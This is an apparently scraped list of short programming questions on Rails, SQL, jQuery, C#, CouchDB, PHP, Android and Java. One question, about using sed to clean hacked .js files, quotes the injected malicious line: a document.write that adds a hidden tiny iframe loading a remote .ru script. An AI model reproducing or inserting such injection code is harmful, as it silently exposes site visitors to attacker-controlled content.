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• Missing the Rails gem. Please `gem install -v=2.3.4 rails`

  - by Brian Roisentul

  I was trying to fix this error and I ended up with a new one. I have installed ruby 1.8.6, but using Built-in JRuby 1.4.0 for my app. Everything was working fine until I updated every gem(as specified by the answer I got from that link) and everything crashed: ever since I tried to start the app I received the following error message: Missing the Rails 2.3.4 gem. Please gem install -v=2.3.4 rails, update your RAILS_GEM_VERSION setting in config/environment.rb for the Rails version you do have installed, or comment out RAILS_GEM_VERSION to use the latest version installed. Then, I tried to uninstall the updates(to v2.3.8, most of them), so the last version is 2.3.4. In my config/environment.rb file I have this: RAILS_GEM_VERSION = '2.3.4' unless defined? RAILS_GEM_VERSION so I guess everything is as I left it before the update. The question is....why do I keep getting the error and I can't start the app?

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• SELECT * , COUNT( * ) FROM GROUP BY ORDER BY DESC

  - by quanganh_developer

  I have a table like: gold gold_city | gold_type | gold_selltime ------------------------------------- city1 | type 1 | 2012-01-01 city1 | type 1 | 2012-02-02 city1 | type 1 | 2012-03-03 city2 | type 2 | 2012-01-01 city2 | type 2 | 2012-02-02 city2 | type 2 | 2012-03-03 city3 | type 3 | 2012-01-01 city3 | type 3 | 2012-02-02 city3 | type 3 | 2012-03-03 How can I get 1 last result order by gold_selltime desc each group by gold_city and gold_type I used this: SELECT * , COUNT( * ) FROM gold_2012 GROUP BY gold_type , gold_city ORDER BY gold_selltime DESC but it did work. I only have result like: gold_city | gold_type | gold_selltime ------------------------------------- city1 | type 1 | 2012-01-01 city2 | type 2 | 2012-01-01 city3 | type 3 | 2012-01-01 but I need it like: gold_city | gold_type | gold_selltime ------------------------------------- city1 | type 1 | 2012-03-03 city2 | type 2 | 2012-03-03 city3 | type 3 | 2012-03-03

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• creating a 2 column table dynamically using jquery

  - by user1908568

  I am trying to generate a table dynamically using ajax call. To simplify things i have just added my code to js fiddle here - http://jsfiddle.net/5yLrE/81/ As you click on the button "HI" first two columns are created properly.. but some how as the td length reaches 2 . its not creating another row. The reason is that when i do find on the table elements its actually retrieving the children table elements. Can some one pls help. I want a two column table.. Thank you. sample code: var tr = $("#maintable tbody tr:first"); if(!tr.length || tr.find("td:first").length >= max) { $("#maintable").append("<tr>"); } if(count==0) { $("#maintable tr:last").append("<td>hi"+content+"</td>"); }

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• c# FormatException was unhandled

  - by poco

  I'm parsing chat from a game and i get this string "?68 00 00 37 00 45 00 00" recipe = recipe.Replace("?", ""); string[] rElements = new string[8]; rElements = recipe.Split(' '); int num = int.Parse(rElements[0]); I get a Format exception on that last line that i don't understand. It says that input string is not in the right format. I have checked the debugger and the first element says it is "68". Anyone have any clue what is happening?

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• jQuery variable iteration with .each()

  - by user1143357

  My code needs to capture the 'src' of an image in a variable. It then needs to insert this variable into a 'href' tag on a link which surrounds the image. My code is as follows: $('.fancybox-image-li img').each(function(test) { var test = $(this).attr("src"); $('.fancybox-image-link').attr('href', ''+test+''); }); Unfortunately what seems to be happening is the 'test' var is only getting the attribute of the last img and then inserting this into all the 'href' attributes. Any ideas how I can get the variable to change per image. Cheers!

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• MySql. What is there error on this insert+select+where statement?

  - by acidzombie24

  What is wrong with this statement? It works with sqlite and MS sql (last time i tested it) I would like a select unless there is no match with name or email. Then i would like to insert. I have it as one statement because its easy to keep concurrent safe as one statement. (its not that complex of a statement). INSERT INTO `user_data` ( `last_login_ip`, `login_date`, ...) SELECT @0, @14 WHERE not exists (SELECT * FROM `user_data` WHERE `name` = @15 OR `unconfirmed_email` = @16 LIMIT 1); Exception You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE not exists (SELECT * FROM `user_data` WHERE `name` = 'thename' OR `unconfirmed' at line 31

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• Adding form inputs in javascript (jquery)

  - by matthewsteiner

  I understand that you do something like: $('form').append('<input type="text" name="color-1" value="Hello" />'); But I have two questions about it. First off, I don't want it added to the end of the form, but after the last input in the "color" section. Secondly, where "name=color-1", I need the one to increment if they want to add more than one input, you know? So that I can process it on the server. Any ideas?

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• What's the proper size of Default png's for iPad?

  - by David John

  I am confused by conflicting information. Most commonly I see these being the sizes quoted for the various Default images: Launch image Portrait Default-Portrait.png 768 x 1004 Launch image Portrait [email protected] 1536 x 2008 Launch image Landscape [email protected] 2048 x 1496 Launch image Landscape Default-Landscape.png 1024 x 748 Seemed like slightly unusual sizes, but I went along with it and dragged the images into the Launch images section in XCode. XCode however promptly puts little yellow triangles over these images and tell me that the sizes should be: 768x1024, 1536x2048, 1024x768 and 2048x1536 Oh and one last important bit. Do I really need to have all these images for submission to the app store? It's really not clear which images are required and which are just recommended. Mine is a Universal app btw if that makes any difference.

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• strange behavior of <> to filter null values

  - by Kerezo

  Hi experts: I have a table Called tblAlarm and it has some records like this: I have another table for determine what user see what message: Now I want to write a query to show Messages that user has not seen if message didinot expired.(for example it's year between BeginYear and EndYear and so on ...). I write this query: SELECT * FROM tblAlarms LEFT OUTER JOIN tblUsersAlarms tua ON tblAlarms.Id=tua.MessageID WHERE @CurrentYear BETWEEN tblAlarms.BeginYear AND tblAlarms.EndYear AND @CurrentMonth BETWEEN tblAlarms.BeginMonth AND tblAlarms.EndMonth AND @CurrentDay BETWEEN tblAlarms.BeginDay AND tblAlarms.EndDay AND (@CurrentHour * 60 + @CurrentMinute) BETWEEN tblAlarms.BeginHour*60 + tblAlarms.BeginMinute AND tblAlarms.EndHour*60 + tblAlarms.EndMinute --AND (tua.UserID <> 128 AND tua.UserID IS NULL) and it returns : but if I unComment last line it does not return any record.How I can determine what messages that users has not been seen? thanks

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• Treeview insert property problem

  - by curiosity

  TreeNode[] nodes = this.treeview.Nodes.Find(node.Text, true); if (nodes.Length > 0) { int i = nodes[0].Index; if (nodes.Length > 0) this.treeview.Nodes.Remove(nodes[0]); this.treeview.Nodes.Insert(i, nodes[0]); } i tried this code, but the node nodes[0] is not inserting into the particular index. instead it is adding at the last. but yes i use treeviewsorter. Any idea how to insert node without using insert or using insert effectively with treeviewsorter??

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• How can I "undelete" a set of documents in CouchDB?

  - by radicand

  I have a large set of documents in a CouchDB database that were just accidentally bulk deleted using _deleted:true. I also have a backup for this set of data that includes their last known good revision and metadata. I need to maintain the same _id, so simple restore with a new _id is not an option. Compaction has not been run and I can access any of these documents via the &rev= url parameter as well as their attachments (which are needed). What I need to do is "restore" these documents to the revision I have on file. Surprisingly, I have come up empty with any queries on how to achieve this. Tips or hacks appreciated.

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• Respond to a UDP message

  - by JDCAce

  I have a pair of very simple C# programs (server and client). The client's user enters an IP address, and the client sends a UDP message to the server. The server uses UDPClient.Receive() to listen to IPAddress.Any, prints out the message it received and where it was sent from (the client's IP address), then sends a UDP message back to the client. The problem is in that last part: my client is not receiving any message. It listens only to the server, instead of IPAddress.Any. The SendUdpMessage() and WaitForMessage() methods are identical, except for the IPAddress.Any part. I cannot find what's wrong! I can post the code if I need to, but I don't know which part is relevant, and I don't want to post the entire program (about 150 lines combined).

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• sequencing function calls in javascript - are callbacks the only way?

  - by tim

  I read through various threads like this one for example. But it really escapes me how to accomplish the following: I have 4 functions, and want them happen one after another in sequence. Notice they are in incorrect order, to get my point across. I want the result that will output "1, 2, 3, 4' function firstFunction(){ // some very time consuming asynchronous code... console.log('1'); } function thirdFunction(){ // definitely dont wanna do this until secondFunction is finished console.log('3'); } function secondFunction(){ // waits for firstFunction to be completed console.log('2'); } function fourthFunction(){ // last function, not executed until the other 3 are done. console.log('4'); } I tried to figure out callbacks but am getting lost :( Isn't there some simple way to do this? Like looping through an array...

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• Non-floated div drops below right floated div in IE9 (and 7)

  - by PVA

  This is a responsive site, (http://www.dermatologypartners.com) with desktop styles first. IE8 handles the pages correctly, though without CSS3 flourishes. But IE9 is dropping my navbar (on left) down, when it is up next to the right floated content in all the other browsers. My navbar is near the end of the HTML because I want it to flow over LAST, below page content but above the footer, in the smartphone version of the site -- which it does. The nav is NOT floated. It just rises to the top left and content is floated to the right. Except in IE9. I don't to have to redo all this, if I can just get an IE9 fix. It's not "float drop" - there's plenty of room available. I'm actually having the same problem in IE7, but I'm not concerned with IE7 -- but why 7 & 9, while 8 is fine? Thanks!

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• Using sed to delete string

  - by wired

  I was hacked and have hundreds of .js files with this line of code that I'm trying to get rid of: ;document.write('<iframe src="http://sitecorporatemanagement.ru/pretzellogmeins.cgi?8" scrolling="auto" frameborder="no" align="center" height="3" width="3"></iframe>'); It is the last line of the file, but I think the file contains windows line endings, because when ever I do this: sed -i '/sitecorporatemanagement.ru/d' * it deletes the full content of the file. Can you help me get this to work? I just need that full string deleted. Thank you for all the help you can give.

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• What is the answer to this homework about maps and collections? [closed]

  - by Bishan

  Maps collection is referred to an dictionary because of the way it works. Each entry into a maps collection involves a pair of objects. In a maps collection, an object associates the key which determines where the object is stored in the map. The key object in the maps collection can be duplicated. A stack which has Last In First Out storage mechanism can be considered as a maps collection. I think #1,#2,#3 and #5 are Correct in above, but I have doubt with #5. Am I correct?

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• SQL query for selecting most recent entries

  - by Mr_Skid_Marks

  A table in my database has a column, DATE_ADDED (stored in seconds). I want to extract all rows with the most recent date (aka largest value for DATE_ADDED). The only solution I have come up with is to SELECT all the rows in ASC (ascending) order, grab the last entry from the table, check the date on this, and perform another SELECT on the table but this time only for the discovered DATE_ADDED. Is it possibly to simplify this series of queries into a single one? My thought is I should be able to do a SELECT on all of the largest values in the table, but I am struggling to come up with a proper query.

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• Error 1045 MySQL during setup

  - by user1364513

  Could anyone explaine me the error 1045 during MySQL setup I ll be preciated. I'm getting this error after reinstalling. I 'm going to install on windows 7. On the last stage of installation i.e apply security settings I'm getting the following message:"The security settings could not be applied. Error Number 1045. Access denied for user 'root' @ 'loaclhost'(usinf password: NO)". I know another way how to fix it that is reinstalling of operating system, but I can't do it please help how can I solve it?. I'll be preciated. Thanks!

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• iPhone Application

  - by user553627

  Hello, Im working on an iPhone project using xcode and i actually have not programmed using objective-c before. So, my problem mainly is that my app crashes whenever i hit the button that it suppose to show a view of the world map. I think the problem is within the last 2 lines of the code but still i cant figure out why ?!! because whenever i comment out the line "[self presemtM.....]" the program doesn't crash. Would appreciate your help! -(IBAction) pushedGo:(id)sender { CLLocationCoordinate2D coord = {37.331689, -122.030731}; MapViewController *mapView = [[MapViewController alloc] initWithCoordinates:coord andTitle:@"Apple" andSubTitle:@"111"]; [self presentModalViewController:mapView animated:YES] [mapView release]; }

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• appending and reading text file

  - by Rod

  Environment: Any .Net Framework welcomed. I have a log file that gets written to 24/7. I am trying to create an application that will read the log file and process the data. What's the best way to read the log file efficiently? I imagine monitoring the file with something like FileSystemWatcher. But how do I make sure I don't read the same data once it's been processed by my application? Or say the application aborts for some unknown reason, how would it pick up where it left off last? There's usually a header and footer around the payload that's in the log file. Maybe an id field in the content as well. Not sure yet though about the id field being there. I also imagined maybe saving the lines read count somewhere to maybe use that as bookmark.

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• C - How to manipulate typedef structure pointer?

  - by AbhishekJoshi

  typedef struct { int id; char* first; char* last; }* person; person* people; Hi. How can I use this above, all set globally, to fill people with different "person"s? I am having issues wrapping my head regarding the typedef struct pointer. I am aware pointers are like arrays, but I'm having issues getting this all together... I would like to keep the above code as is as well. Edit 1: char first should be char* first.

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• Nesting if else statements in PHP to validate a URL

  - by John

  I'm currently writing up a function in order to validate a URL by exploding it into different parts and matching those parts with strings I've defined. This is the function I'm using so far: function validTnet($tnet_url) { $tnet_2 = "defined2"; $tnet_3 = "defined3"; $tnet_5 = "defined5"; $tnet_7 = ""; if($exp_url[2] == $tnet_2) { #show true, proceed to next validation if($exp_url[3] == $tnet_3) { #true, and next if($exp_url[5] == $tnet_5) { #true, and last if($exp_url[7] == $tnet_7) { #true, valid } } } } else { echo "failed on tnet_2"; } } For some reason I'm unable to think of the way to code (or search for the proper term) of how to break out of the if statements that are nested. What I would like to do check each part of the URL, starting with $tnet_2, and if it fails one of the checks ($tnet_2, $tnet_3, $tnet_5 or $tnet_7), output that it fails, and break out of the if statement. Is there an easy way to accomplish this using some of the code I have already?

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• mysql query for change in values in a logging table

  - by kiasectomondo

  I have a table like this: Index , PersonID , ItemCount , UnixTimeStamp 1 , 1 , 1 , 1296000000 2 , 1 , 2 , 1296000100 3 , 2 , 4 , 1296003230 4 , 2 , 6 , 1296093949 5 , 1 , 0 , 1296093295 Time and index always go up. Its basically a logging table to log the itemcount each time it changes. I get the most recent ItemCount for each Person like this: SELECT * FROM table a INNER JOIN ( SELECT MAX(index) as i FROM table GROUP BY PersonID) b ON a.index = b.i; What I want to do is get get the most recent record for each PersonID that is at least 24 hours older than the most recent record for each Person ID. Then I want to take the difference in ItemCount between these two to get a change in itemcount for each person over the last 24 hours: personID ChangeInItemCountOverAtLeast24Hours 1 3 2 -11 3 6 Im sort of stuck with what to do next. How can I join another itemcount based on latest adjusted timestamp of individual rows?

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• Android search list, String

  - by NightSky

  Hey guys what is the best way to search through my list of objects, they return a few strings, last name and first name for example. Here how i'm currently searching but my search needs to match the entire string which I don't want. The search needs it to match part of the string like our contacts list on our phone and ignore the case. if (searchQ.equalsIgnoreCase(child.first_name)) { addChildToList(child); } Ive tried contains and starts with for example, they did not work. Whats going on? Thanks! Cheers!

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• Java - Basic use of arrays

  - by javaisjusttoohard

  This is a basic question but I do need some help. Given two arrays of ints, a and b, return true if they have the same first element or they have the same last element. Both arrays will be length 1 or more. commonEnd({1, 2, 3}, {7, 3}) ? true commonEnd({1, 2, 3}, {7, 3, 2}) ? false commonEnd({1, 2, 3}, {1, 3}) ? true I have the following code but it wont compile: public boolean commonEnd(int[] a, int[] b) { if(a[0] == b[0] || a[a.length-1] ==b[b.length-1]) return true; }

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